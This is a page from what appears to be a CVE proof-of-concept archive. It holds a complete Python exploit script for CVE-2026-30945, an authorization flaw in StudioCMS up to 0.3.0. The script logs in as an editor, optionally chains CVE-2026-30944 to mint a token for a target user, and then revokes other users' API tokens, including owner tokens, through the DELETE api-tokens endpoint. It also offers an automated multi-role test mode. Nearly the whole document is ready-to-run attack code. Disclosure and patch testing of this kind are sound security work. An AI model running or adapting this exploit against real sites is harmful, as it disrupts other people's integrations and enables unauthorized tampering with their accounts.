5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_30945_poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-30945 - StudioCMS IDOR — Arbitrary API Token Revocation Leading to Denial of Service
Author: Filipe Gaudard
Date: 2026-03-10

Description:
    The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated
    user with editor privileges or above to revoke API tokens belonging to any other
    user, including admin and owner accounts. The handler accepts tokenID and userID
    directly from the request payload without verifying token ownership, caller identity,
    or role hierarchy. This enables targeted denial of service against critical
    integrations and automations.

    Affected versions: studiocms <= 0.3.0
    Fixed in: 0.4.0

References:
    - CVE: CVE-2026-30945
    - CWE: CWE-639, CWE-863
    - GHSA: GHSA-8rgj-vrfr-6hqr
    - CVSS: 7.1 (High)
"""

import argparse
import json
import sys
from datetime import datetime

try:
    import requests
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    print("[!] Missing dependencies. Install with: pip install requests colorama")
    sys.exit(1)


# ─── Constants ────────────────────────────────────────────────────────────────

BANNER = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════════╗
║                                                                  ║
║   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██╗  ██╗███████╗ ║
║  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗██║  ██║██╔════╝ ║
║  ██║     ██║   ██║█████╗  ████╗█████╔╝██║██╔██║███████║███████╗ ║
║  ██║     ╚██╗ ██╔╝██╔══╝  ╚═══╝╚═══██╗████╔╝██║╚════██║╚════██║ ║
║  ╚██████╗ ╚████╔╝ ███████╗    ██████╔╝╚██████╔╝     ██║███████║ ║
║   ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝  ╚═════╝      ╚═╝╚══════╝ ║
║                                                                  ║
║  StudioCMS IDOR — Arbitrary API Token Revocation (DoS)           ║
║  BOLA / IDOR — CWE-639 | CVSS 7.1                               ║
║  Author: Filipe Gaudard                                          ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""

ENDPOINTS = {
    "login": "/studiocms_api/auth/login",
    "api_tokens_create": "/studiocms_api/dashboard/api-tokens",
    "api_tokens_delete": "/studiocms_api/dashboard/api-tokens",
    "users": "/studiocms_api/rest/v1/users",
    "verify_session": "/studiocms_api/dashboard/verify-session",
}


# ─── Helper Functions ─────────────────────────────────────────────────────────

def log_success(msg):
    print(f"  {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")

def log_info(msg):
    print(f"  {Fore.BLUE}[*]{Style.RESET_ALL} {msg}")

def log_warning(msg):
    print(f"  {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")

def log_error(msg):
    print(f"  {Fore.RED}[-]{Style.RESET_ALL} {msg}")

def log_header(msg):
    print(f"\n  {Fore.CYAN}{'─' * 60}")
    print(f"  {msg}")
    print(f"  {'─' * 60}{Style.RESET_ALL}")


# ─── Core Functions ───────────────────────────────────────────────────────────

def authenticate(session, base_url, username, password, verify_ssl=True):
    """Authenticate to StudioCMS and return session with auth cookie."""
    url = base_url + ENDPOINTS["login"]
    payload = {"username": username, "password": password}

    try:
        resp = session.post(url, json=payload, verify=verify_ssl, allow_redirects=False)

        if "auth_session" in session.cookies.get_dict():
            log_success(f"Authenticated as '{username}'")
            return True

        if resp.status_code in (301, 302, 303):
            log_success(f"Authenticated as '{username}' (redirect)")
            return True

        log_error(f"Authentication failed for '{username}' (HTTP {resp.status_code})")
        return False

    except requests.exceptions.ConnectionError:
        log_error(f"Connection failed to {base_url}")
        return False


def verify_session(session, base_url, verify_ssl=True):
    """Verify current session and return user info."""
    url = base_url + ENDPOINTS["verify_session"]
    payload = {"originPathname": base_url + "/dashboard"}

    try:
        resp = session.post(url, json=payload, verify=verify_ssl)
        if resp.status_code == 200:
            data = resp.json()
            if data.get("isLoggedIn"):
                user = data.get("user", {})
                level = data.get("permissionLevel", "unknown")
                return {
                    "id": user.get("id"),
                    "name": user.get("name"),
                    "username": user.get("username"),
                    "email": user.get("email"),
                    "permissionLevel": level,
                }
        return None
    except Exception:
        return None


def create_token_for_target(session, base_url, target_uuid, verify_ssl=True):
    """
    Step 1 of the PoC chain: generate a token for the target user first.
    This leverages CVE-2026-30944 (token generation IDOR) to create the
    token that will then be revoked. If the target already has tokens,
    this step can be skipped by providing --token-id directly.
    """
    url = base_url + ENDPOINTS["api_tokens_create"]
    payload = {
        "user": target_uuid,
        "description": "CVE-2026-30945-target-token",
    }

    try:
        resp = session.post(url, json=payload, verify=verify_ssl)

        if resp.status_code == 200:
            data = resp.json()
            token = data.get("token")
            if token:
                return token
        return None
    except Exception:
        return None


def revoke_token(session, base_url, token_id, user_id, verify_ssl=True):
    """Exploit: Revoke an arbitrary user's API token (IDOR)."""
    url = base_url + ENDPOINTS["api_tokens_delete"]
    payload = {
        "tokenID": token_id,
        "userID": user_id,
    }

    try:
        resp = session.delete(url, json=payload, verify=verify_ssl)

        if resp.status_code == 200:
            data = resp.json()
            message = data.get("message", "")
            if "deleted" in message.lower():
                return True, message
            return True, message

        elif resp.status_code == 403:
            return False, "Access denied (403 Forbidden) — endpoint may be patched"

        else:
            return False, f"Unexpected response: HTTP {resp.status_code} — {resp.text[:200]}"

    except requests.exceptions.ConnectionError:
        return False, f"Connection failed to {base_url}"


def verify_token_revoked(base_url, token_jwt, verify_ssl=True):
    """Verify that the revoked token no longer grants API access."""
    url = base_url + ENDPOINTS["users"]
    headers = {"Authorization": f"Bearer {token_jwt}"}

    try:
        resp = requests.get(url, headers=headers, verify=verify_ssl)

        if resp.status_code == 200:
            return False  # Token still works — revocation failed
        elif resp.status_code in (401, 403):
            return True  # Token rejected — revocation confirmed
        else:
            return None  # Inconclusive

    except Exception:
        return None


def save_results(data, filename):
    """Save exploitation results to JSON file."""
    with open(filename, "w") as f:
        json.dump(data, f, indent=2, default=str)
    log_success(f"Results saved to {filename}")


# ─── Exploitation Modes ──────────────────────────────────────────────────────

def manual_exploit(args):
    """Manual exploitation: authenticate and revoke target's token."""
    log_header("PHASE 1: Authentication")

    session = requests.Session()
    if not authenticate(session, args.url, args.username, args.password, args.verify_ssl):
        return

    user_info = verify_session(session, args.url, args.verify_ssl)
    if user_info:
        log_info(f"Session user: {user_info['name']} ({user_info['permissionLevel']})")
        log_info(f"Session UUID: {user_info['id']}")
    else:
        log_warning("Could not verify session details")

    # If no token-id provided, create one first via CVE-2026-30944
    token_id = args.token_id
    token_jwt = None

    if not token_id:
        log_header("PHASE 2: Token Setup (via CVE-2026-30944)")
        log_info(f"No --token-id provided, creating a token for target user first...")
        log_info(f"Target UUID: {args.target_uuid}")

        token_jwt = create_token_for_target(session, args.url, args.target_uuid, args.verify_ssl)

        if token_jwt:
            log_success(f"Token created for target: {token_jwt[:50]}...")
            log_info("Verifying token works before revocation...")

            users = requests.get(
                args.url + ENDPOINTS["users"],
                headers={"Authorization": f"Bearer {token_jwt}"},
                verify=args.verify_ssl,
            )

            if users.status_code == 200:
                log_success("Token is valid — API access confirmed")
            else:
                log_warning(f"Token verification returned HTTP {users.status_code}")

            # We need the token record ID (UUID), not the JWT
            # The token_id is typically returned from the API or can be extracted
            log_warning("Note: To complete the revocation, you need the token record UUID (not the JWT)")
            log_info("Provide --token-id with the internal token UUID to proceed with revocation")
            log_info("The token record ID can be found in the database or via API enumeration")

            if args.save:
                results = {
                    "cve": "CVE-2026-30945",
                    "phase": "token_creation_only",
                    "timestamp": datetime.now().isoformat(),
                    "target": args.url,
                    "attacker": user_info,
                    "target_uuid": args.target_uuid,
                    "token_jwt": token_jwt,
                }
                save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json")
            return
        else:
            log_error("Could not create token for target — token generation may be patched")
            return

    # Proceed with revocation
    log_header("PHASE 3: Token Revocation (IDOR)")
    log_info(f"Target UUID: {args.target_uuid}")
    log_info(f"Token ID:    {token_id}")
    log_info("Revoking target's API token...")

    success, message = revoke_token(session, args.url, token_id, args.target_uuid, args.verify_ssl)

    if success:
        log_success(f"Token revoked! Server response: {message}")

        # Verify revocation if we have the JWT
        if token_jwt:
            log_header("PHASE 4: Revocation Verification")
            log_info("Verifying token is no longer valid...")

            revoked = verify_token_revoked(args.url, token_jwt, args.verify_ssl)

            if revoked is True:
                log_success("VULNERABILITY CONFIRMED — Token successfully revoked!")
                log_warning("Target user's API integrations are now broken (DoS)")
            elif revoked is False:
                log_warning("Token still works — revocation may not have taken effect")
            else:
                log_info("Revocation verification inconclusive")
        else:
            log_warning("VULNERABILITY CONFIRMED — Server accepted the revocation request")
            log_info("Cannot verify token invalidation without the JWT value")
    else:
        log_error(f"Revocation failed: {message}")

    if args.save:
        results = {
            "cve": "CVE-2026-30945",
            "timestamp": datetime.now().isoformat(),
            "target": args.url,
            "attacker": user_info if user_info else {"username": args.username},
            "target_uuid": args.target_uuid,
            "token_id": token_id,
            "revocation_success": success,
            "server_message": message,
            "vulnerable": success,
        }
        save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json")


def auto_test(args):
    """Automated testing: create token, then revoke it, verify DoS."""
    log_header("AUTOMATED VULNERABILITY TEST")
    log_info(f"Target: {args.url}")
    log_info(f"Target UUID: {args.target_uuid}")

    if not args.token_id:
        log_error("Automated test requires --token-id (the internal UUID of the target's token)")
        log_info("Use manual mode first to create a token, then extract the token record UUID")
        return

    results = {}
    test_accounts = []

    if args.editor_user and args.editor_pass:
        test_accounts.append(("Editor", args.editor_user, args.editor_pass))
    if args.visitor_user and args.visitor_pass:
        test_accounts.append(("Visitor", args.visitor_user, args.visitor_pass))

    if not test_accounts:
        log_error("No test accounts provided")
        return

    for role_label, username, password in test_accounts:
        log_header(f"Testing as {role_label}: {username}")

        session = requests.Session()

        if not authenticate(session, args.url, username, password, args.verify_ssl):
            results[role_label] = {"status": "auth_failed"}
            continue

        user_info = verify_session(session, args.url, args.verify_ssl)
        if user_info:
            log_info(f"Detected role: {user_info['permissionLevel']}")

        log_info(f"Attempting to revoke token {args.token_id} belonging to {args.target_uuid}...")

        success, message = revoke_token(
            session, args.url, args.token_id, args.target_uuid, args.verify_ssl
        )

        if success:
            log_warning(f"VULNERABILITY CONFIRMED for role: {role_label}")
            log_warning(f"Server: {message}")
            results[role_label] = {"status": "vulnerable", "message": message}
        else:
            log_info(f"Revocation denied for {role_label}: {message}")
            results[role_label] = {"status": "not_vulnerable", "message": message}

    # Summary
    log_header("TEST SUMMARY")
    vulnerable = any(r.get("status") == "vulnerable" for r in results.values())

    for role, result in results.items():
        status = result.get("status", "unknown")
        if status == "vulnerable":
            log_warning(f"{role}: VULNERABLE — token revocation succeeded")
        elif status == "not_vulnerable":
            log_success(f"{role}: NOT VULNERABLE — revocation denied")
        elif status == "auth_failed":
            log_error(f"{role}: AUTHENTICATION FAILED")

    print()
    if vulnerable:
        log_warning("SYSTEM IS VULNERABLE TO CVE-2026-30945")
    else:
        log_success("SYSTEM APPEARS PATCHED")

    if args.save:
        save_results(results, "cve_2026_30945_autotest.json")


# ─── Main ─────────────────────────────────────────────────────────────────────

def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-30945 — StudioCMS IDOR Token Revocation DoS PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Revoke a known token (requires token record UUID)
  python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\
      --target-uuid <owner-uuid> --token-id <token-record-uuid>

  # Create a token first, then revoke (chained with CVE-2026-30944)
  python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\
      --target-uuid <owner-uuid>

  # Automated testing
  python3 %(prog)s -u http://localhost:4321 --auto-test \\
      --editor-user editor01 --editor-pass pass123 \\
      --target-uuid <owner-uuid> --token-id <token-record-uuid>
        """,
    )

    parser.add_argument("-u", "--url", required=True, help="Target StudioCMS base URL")
    parser.add_argument("--target-uuid", required=True, help="Target user UUID (e.g., owner UUID)")
    parser.add_argument("--token-id", help="Internal token record UUID to revoke (not the JWT)")

    # Manual mode
    manual = parser.add_argument_group("Manual Mode")
    manual.add_argument("--username", help="Username for authentication")
    manual.add_argument("--password", help="Password for authentication")

    # Auto test mode
    auto = parser.add_argument_group("Automated Test Mode")
    auto.add_argument("--auto-test", action="store_true", help="Enable automated multi-role testing")
    auto.add_argument("--editor-user", help="Editor account username")
    auto.add_argument("--editor-pass", help="Editor account password")
    auto.add_argument("--visitor-user", help="Visitor account username")
    auto.add_argument("--visitor-pass", help="Visitor account password")

    # Optional
    parser.add_argument("--save", action="store_true", help="Save results to JSON file")
    parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")

    return parser.parse_args()


def main():
    print(BANNER)

    args = parse_args()
    args.url = args.url.rstrip("/")
    args.verify_ssl = not args.no_ssl_verify

    if args.no_ssl_verify:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.auto_test:
        auto_test(args)
    elif args.username and args.password:
        manual_exploit(args)
    else:
        log_error("Provide --username/--password for manual mode or --auto-test for automated testing")
        sys.exit(1)


if __name__ == "__main__":
    main()